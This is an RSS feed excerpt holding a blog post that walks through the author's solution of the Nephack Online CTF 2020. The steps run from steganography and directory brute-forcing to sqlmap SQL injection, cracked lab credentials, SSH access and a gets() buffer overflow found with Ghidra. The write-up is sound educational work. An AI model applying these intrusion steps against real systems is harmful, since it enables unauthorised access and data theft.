/><figcaption>thank you!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3255e31b68b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I won Nephack Online CTF 2020]]></title>
            <link>https://sbasu7241.medium.com/how-i-won-nephack-online-ctf-2020-b847bb160bbb?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b847bb160bbb</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[nepal]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Tue, 16 Jun 2020 07:29:54 GMT</pubDate>
            <atom:updated>2020-06-16T07:29:54.420Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ciSK1J7ZjkM0C7JiJsxsoA.png" /><figcaption>Blog post</figcaption></figure><p>On Wednesday June 10 2020, I was lying on my bed and scrolling through my Twitter feed when this grabbed my attention 😱</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*wFzo6iS0UOK5uiBOskUaPg.png" /><figcaption>Tweet</figcaption></figure><p>I took a look at the prizes and the next moment I was on my system all set to hack😝</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*3zc3zgzCj38f6OtrhjKpuw.png" /><figcaption>Prizes</figcaption></figure><p>I went to <a href="https://nephack.io/">https://nephack.io/</a> and was greeted with this… Ooooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*1swoM2e5fUXRbjsWBdToPQ.jpeg" /><figcaption>Start page</figcaption></figure><p>I had a checklist at the back of my mind and I started with it</p><pre>dig -t txt nephack.io</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*KA00h0KVslhXYDFVrdK92g.png" /><figcaption>Digging TXT records</figcaption></figure><p>It seems that the <strong>TXT</strong> record contains the string “<em>FcnqFPuhFs0</em>” which is a reference to an <a href="https://www.youtube.com/watch?v=FcnqFPuhFs0">electronic music</a> on youtube.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFcnqFPuhFs0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFcnqFPuhFs0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFcnqFPuhFs0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e660e8a0fa0ea58c6fc45b1f5ea6e085/href">https://medium.com/media/e660e8a0fa0ea58c6fc45b1f5ea6e085/href</a></iframe><p>Next I tried applying <strong>strings</strong> on the Nephack logo given on the starting page of the CTF and some weird strings stood out that looked like some XMP data.</p><pre>&gt;&gt; strings nephack_logo.png <br>IHDR<br>pHYs<br>iTXtXML:com.adobe.xmp<br>&lt;?xpacket begin=&quot;<br>&quot; id=&quot;W5M0MpCehiHzreSzNTczkc9d&quot;?&gt; &lt;x:xmpmeta xmlns:x=&quot;adobe:ns:meta/&quot; x:xmptk=&quot;Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        &quot;&gt; &lt;rdf:RDF xmlns:rdf=&quot;<a href="http://www.w3.org/1999/02/22-rdf-syntax-ns#">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>&quot;&gt; &lt;rdf:Description rdf:about=&quot;&quot; xmlns:xmp=&quot;<a href="http://ns.adobe.com/xap/1.0/">http://ns.adobe.com/xap/1.0/</a>&quot; xmlns:dc=&quot;<a href="http://purl.org/dc/elements/1.1/">http://purl.org/dc/elements/1.1/</a>&quot; xmlns:photoshop=&quot;<a href="http://ns.adobe.com/photoshop/1.0/">http://ns.adobe.com/photoshop/1.0/</a>&quot; xmlns:xmpMM=&quot;<a href="http://ns.adobe.com/xap/1.0/mm/">http://ns.adobe.com/xap/1.0/mm/</a>&quot; xmlns:stEvt=&quot;<a href="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#">http://ns.adobe.com/xap/1.0/sType/ResourceEvent#</a>&quot; xmp:CreatorTool=&quot;Adobe Photoshop CC 2019 (Windows)&quot; xmp:CreateDate=&quot;2020-01-20T21:55:52+05:45&quot; xmp:ModifyDate=&quot;2020-01-20T22:29:39+05:45&quot; xmp:MetadataDate=&quot;2020-01-20T22:29:39+05:45&quot; dc:format=&quot;image/png&quot; photoshop:ColorMode=&quot;3&quot; xmpMM:InstanceID=&quot;xmp.iid:2bb0bc8b-8772-bd41-aa5f-ca4c1be27b33&quot; xmpMM:DocumentID=&quot;adobe:docid:photoshop:531c496c-ec9e-6e40-850e-e96ad2a84ca6&quot; xmpMM:OriginalDocumentID=&quot;xmp.did:dcb8d4ac-b167-8540-b2d2-8f85cb760639&quot;&gt; &lt;xmpMM:History&gt; &lt;rdf:Seq&gt; &lt;rdf:li stEvt:action=&quot;created&quot; stEvt:instanceID=&quot;xmp.iid:dcb8d4ac-b167-8540-b2d2-8f85cb760639&quot; stEvt:when=&quot;2020-01-20T21:55:52+05:45&quot; stEvt:softwareAgent=&quot;Adobe Photoshop CC 2019 (Windows)&quot;/&gt; &lt;rdf:li stEvt:action=&quot;saved&quot; stEvt:instanceID=&quot;xmp.iid:2bb0bc8b-8772-bd41-aa5f-ca4c1be27b33&quot; stEvt:when=&quot;2020-01-20T22:29:39+05:45&quot; stEvt:softwareAgent=&quot;Adobe Photoshop CC 2019 (Windows)&quot; stEvt:changed=&quot;/&quot;/&gt; &lt;/rdf:Seq&gt; &lt;/xmpMM:History&gt; &lt;/rdf:Description&gt; &lt;/rdf:RDF&gt; &lt;/x:xmpmeta&gt; &lt;?xpacket end=&quot;r&quot;?&gt;<br>sIDATx</pre><p>Then I started scouring over <em>cynical technology</em> blog to get some hints when I found this in one of their <a href="https://cynicaltechnology.com/ctfs-are-awesome/">blog posts</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*7-PQnOGpqV7jJ46KNLprZg.png" /><figcaption>hint</figcaption></figure><blockquote>Here is a picture that will help you get started 🤨</blockquote><p>I got a smell of steganography in there and decided to load the image up in <strong>stegosuite </strong>and found some embedded data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*nbEHH6aQVuE4lfuCWpmf0w.png" /><figcaption>stegosuite</figcaption></figure><blockquote><strong>String</strong>:VjFaV2ExWXlSa2hUYTJ4V1lsUnNUbGxzVWxkak1XdDNXa2M1YUZKdGREVlplazVYWVVaYU5scDZhejA9</blockquote><p>I <strong>base64</strong> decoded it using cyberchef and it turned out to be a base64 string again. It was then I wrote a small script to keep on base64 decode the string until it is no longer the same.</p><pre>import base64<br>encoded = &quot;VjFaV2ExWXlSa2hUYTJ4V1lsUnNUbGxzVWxkak1XdDNXa2M1YUZKdGREVlplazVYWVVaYU5scDZhejA9&quot;</pre><pre>while True:<br> try:<br>  encoded = base64.b64decode(encoded)<br> except:<br>  print(&quot;Decoded &gt;&gt; &quot; + str(encoded,encoding=&#39;UTF-8&#39;))<br>  break</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*oiVBT2R5dFlT36HLz50Jfg.png" /><figcaption>found subdomain</figcaption></figure><p>Seems like we found a new <strong>subdomain</strong> 🤓</p><p>Later after the CTF was over I was randomly fuzzing and found that the subdomain <a href="http://health.nephack.io/">http://health.nephack.io/</a> could be discovered using popular subdomain scanners too. Now the subdomain hosted a <strong>health calculator</strong> tool 😯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6kWQJQH5Ls-hejt_g6GzA.png" /><figcaption>Health Calculator</figcaption></figure><p>We inspect the source code and find some juicy content that might serve as potential usernames later.😉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*JxczI_7_1y1A4OvpOvkTVg.png" /><figcaption>hints wow!!</figcaption></figure><pre>&lt;!-- &lt;li&gt;&lt;a href=&quot;tos.php&quot;&gt;TOS&lt;/a&gt;&lt;/li&gt;   --&gt;<br>&lt;!-- This application is made by @dr.jackal  --&gt;  </pre><p>This tool takes asks the user for sensitive details and then always redirects to <a href="http://health.nephack.io/result3.php">http://health.nephack.io/result3.php</a> which is a blank page seems like a decoy 🥺</p><p><a href="http://health.nephack.io/calculate.php">Heart Disease Calculator</a></p><p>I ran <strong>Burp Intruder</strong> on <a href="http://health.nephack.io/result$i$.php"><em>http://health.nephack.io/result$i$.php</em></a> hoping to find an <strong>IDOR</strong> but there was none 😕</p><p>Even so the heart disease form had an <strong>IP address</strong> field so I ran <strong>SSRF</strong> payloads but seems like I had hit a dead end 😕</p><p>Finally I fired up <strong>dirbuster </strong>with the medium-directory list on the CTF announcement page and went to sleep 😴 . In the morning I had some interesting results:</p><pre>&gt;&gt; http://health.nephack.io/system-management/admin<br>&gt;&gt; http://health.nephack.io/system-management/admin/prdetail.php</pre><p>The <em>/admin </em>page had a login form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*9ZFC0rH1GjpluSdEP7L0Gg.png" /><figcaption>sign in page</figcaption></figure><p>Since I did not have any valid credentials after trying some weak username-password combination I decided to let it go.</p><p>The <em>/admin/prdetail.php </em>endpoint was a rather blank page with some functionalities but all of them were redirecting to logout 😟</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*Bz7sLVARGOFUGuTMB6MrxA.png" /><figcaption>admin dashboard</figcaption></figure><p>Source code inspection revealed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*FKDsavi9wexJM3hvo_aXHg.png" /><figcaption>IDOR maybe?</figcaption></figure><pre>&lt;!--  ?uid=20K+ --&gt;</pre><p>And then it occured to me that the php page needed a paramter <em>uid </em>maybe 🙄</p><p>I fired up <strong>Burp Intruder</strong> in order to bruteforce the <em>uid</em> parameter and found that the content length was higher than usual for <em>uid = 31337</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*bMIekuOFLItb4MwAuSkddw.png" /><figcaption>admin info</figcaption></figure><p>Still I had nothing solid in hand I captured the get request and ran <strong>sqlmap </strong>on the uid parameter and there was <strong>SQL injection</strong> ☺️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0ioe_y7b6XBlMGkTGtY9g.png" /><figcaption>SQLI</figcaption></figure><p>I dumped the entire database and found two rather interesting entries.</p><pre>&gt;&gt; sqlmap -r req.txt --tables</pre><pre>Database: <strong>heart</strong><br>[10 tables]<br>+------------------------------------------------------+<br>| admin                                                |<br>| result                                               |<br>| table 9                                              |<br>| calc                                                 |<br>| calc_value                                           |<br>| predication                                          |<br>| products                                             |<br>| res                                                  |<br>| sales_stats                                          |<br>| users                                                |<br>+------------------------------------------------------+</pre><pre>Database: <strong>heart_admin</strong><br>[2 tables]<br>+------------------------------------------------------+<br>| admin                                                |<br>| users                                                |<br>+------------------------------------------------------+</pre><p>TL;DR after some enumeration and hash cracking I found some <strong>user:pass</strong> combinations. 😇</p><blockquote>naresh@nephack.ctf : nare<br>admin : Test@123<br>nare@nephack.ctf : shaktiman<br>rahul@nephack.ctf : spiderman</blockquote><p>I tried all of them at the <em>/admin </em>endpoint<em> </em>but none worked. A dead end again 😩</p><p>Then I realised that I had forgotten one basic thing <strong>nmap </strong>😓 A full Nmap scan revealed the open ports and the services running on them.</p><pre>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>53/tcp  open  domain<br>80/tcp  open  http<br>443/tcp open  https<br>2020/tcp open  xinupageserver syn-ack ---&gt; &lt;&lt;interesting&gt;&gt;</pre><p>I tried the same set of credentials again to <strong>ssh</strong> into the server and failed but this time I remembered the comment that we had found on the calcualtor source code 😄</p><pre>&lt;!-- This application is made by @dr.jackal  --&gt;</pre><p>I tried<strong> <em>jackal:shaktiman</em></strong><em> </em>as ssh creds and VIOLA we’re in … 😍</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDcTHHNqDWUZ5GabwkWucA.png" /><figcaption>ssh’d in</figcaption></figure><p>In the home folder of user <strong><em>jackal</em></strong><em> </em>we find a binary file<em> </em><strong><em>forgot</em></strong><em>. </em>After tinkering with it for a while I found this</p><pre><strong>jackal@nephack:~$</strong> ls<br>forgot<br><strong>jackal@nephack:~$</strong> file forgot<br>forgot: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=225918d09e0e9d236df375328e80d2caf64508fa, for GNU/Linux 3.2.0, not stripped<br><strong>jackal@nephack:~$</strong> id<br>uid=1001(jackal) gid=1001(jackal) groups=1001(jackal)<br>jackal@nephack:~$ ./forgot<br>Usage: password!!<br><strong>jackal@nephack:~$</strong> ./forgot abcd<br>Hello i am Saman and I normally forget my password. So in order to check my password rather than spamming sudo, I made this tool!!<br>Please enter the password: abcd<br>I need to try again :(!</pre><p>Seems like if I can reverse engineer the binary I will be able to get user <strong>saman</strong> creds :)</p><p>I ran <strong>strings</strong> on the binary and found a rather odd looking string that turned out to be user <em>saman </em>credentials 😄</p><pre><strong>jackal@nephack:~$</strong> strings forgot<br>/lib64/ld-linux-x86-64.so.2<br>libc.so.6<br>puts<br>printf<br>__cxa_finalize<br>strcmp<br>__libc_start_main<br>GLIBC_2.2.5<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>u/UH<br>[]A\A]A^A_<br>Hello i am Saman and I normally forget my password. So in order to check my password rather than spamming sudo, I made this tool!!<br>Please enter the password: %s<br><strong>ByhA3tckK4PjqVvQ</strong><br>YAYYYYYYYYYY! I finally remember it!!!<br>I need to try again :(!<br>Usage: password!!<br>;*3$&quot;</pre><p>So I switched to user <em>saman </em>and in his <strong>home</strong> directory I found a note and another executable file most probably similar to the one listening at port 2020.</p><blockquote><strong>saman@nephack:~$</strong> cat note.txt <br>Hi, 2020 has not been that great for me :(<br>I have been attacked many times so i have hid something at port 2020 :) <br>I love “net”Working and “cat”</blockquote><blockquote><a href="https://www.youtube.com/watch?v=yBLdQ1a4-JI">https://www.youtube.com/watch?v=yBLdQ1a4-JI</a></blockquote><pre>┌─[root@kali]─[~]<br>└──╼ #nc 68.183.95.149 2020<br>Enter password: abcd<br>Password didn’t match</pre><p>Unfortunately the binary did not have executable permissions on the server so I transferred the file to my local machine using <em>netcat </em>and then started debugging it. I used <strong>Ghidra </strong>to decompile the main function.</p><pre>undefined8 main(void)</pre><pre>{<br>  int iVar1;<br>  undefined8 local_27;<br>  undefined4 local_1f;<br>  undefined local_1b;<br>  undefined8 local_1a;<br>  undefined4 local_12;<br>  undefined local_e;<br>  undefined4 local_d;<br>  undefined local_9;<br>  <br>  local_d = 0x646e6172;<br>  local_9 = 0;<br>  local_1a = 0x7373617074736574; --&gt; &quot;testpassword&quot;<br>  local_12 = 0x64726f77;<br>  local_e = 0;<br>  local_27 = 0x6c6f686563616c70; --&gt; &quot;hhhh&quot;<br>  local_1f = 0x31726564;<br>  local_1b = 0;<br>  printf(&quot;Enter password: &quot;);<br>  fflush(stdout);<br>  <strong>gets((char *)&amp;local_27);  ---&gt; Buffer Overflow detected<br></strong>  if ((char)local_d != &#39;r&#39;) {<br>    puts(&quot;Buffer overflow detected!&quot;);<br>    fflush(stdout);<br>                    /* WARNING: Subroutine does not return */<br>    exit(-1);<br>  }<br>  iVar1 = strcmp((char *)&amp;local_1a,(char *)&amp;local_27);<br>  if (iVar1 == 0) {<br>    puts(&quot;testFlag{good_try}&quot;);<br>  }<br>  else {<br>    puts(&quot;Password didn\&#39;t match&quot;);<br>  }<br>  fflush(stdout);<br>  return 0;<br>}</pre><p>So we have control over <em>local_27 </em>and also over <em>local_1a</em> thanks to <strong>buffer overflow. </strong>So<strong> </strong>we can modify the value of <em>local_1a</em> and set it equal to <em>local_27.</em></p><p>I have solved <em>pwn</em> challenges before but this was a tricky one for me since there were variables in between the two strings and also some stack alignment was needed. Nevertheless I was able to script a working exploit for it 🙂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*6cynvX2klmxx3xPykJ1P8Q.png" /><figcaption>Exploit worked!!</figcaption></figure><blockquote><strong>Flag</strong>:cynical_flag{e3N1Ym1pdF95b3VyX2ZsYWdfdG9faW5mb0BjeW5pY2FsdGVjaG5vbG9neS5jb219}</blockquote><blockquote><strong>Exploit script</strong>: <a href="https://anonfiles.com/p3Q2H698od/nephack_py">here</a></blockquote><p>But again I didn’t know where to submit this flag. Out of sheer curiosity I decided to try and decode the ciphertext inside using <strong>CyberChef</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nt3s-N0DciSbUmw8ZRy87Q.png" /><figcaption>Cyberchef decode</figcaption></figure><p>Turns out the cipher text is <strong>base64 encoded</strong> version of <em>info@cynicaltechnology.com </em>😍</p><p>And the rest is yet to be history … 😂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*6ZJh8NEU79xi0t-C3wqJuw.png" /></figure><h4>A quick Mind Map</h4><p>— — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*ucy8KyPAuQkRyf3-abbFiA.png" /><figcaption>Mind Map</figcaption></figure><h4><strong>My take from the CTF</strong></h4><p>— — — — — — — — — —</p><blockquote>TBH I have never played a Capture The Flag contest like this one before and thanks to <em>Nephack</em> I got introduced to this awesome style of CTF events.The privilege escalation part involving Binary exploitation was really awesome. Although the directory discovery part that involved a lot of fuzzing was tiresome and frustating but it give me a quite a few Eureka moments when I was finally able to find out the correct endpoint.Overall I loved the event and as a matter of personal opinion it was far better than jeopardy styled CTF’s .I am looking forward to the next edition of the CTF next year.</blockquote><p>Until then…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*KzRW1rw8pTBTPU4llLRyzg.gif" /><figcaption>See ya</figcaption></figure><p>‣‣‣<strong><em>You just read fr0stb1te. Hope you enjoyed it…</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b847bb160bbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>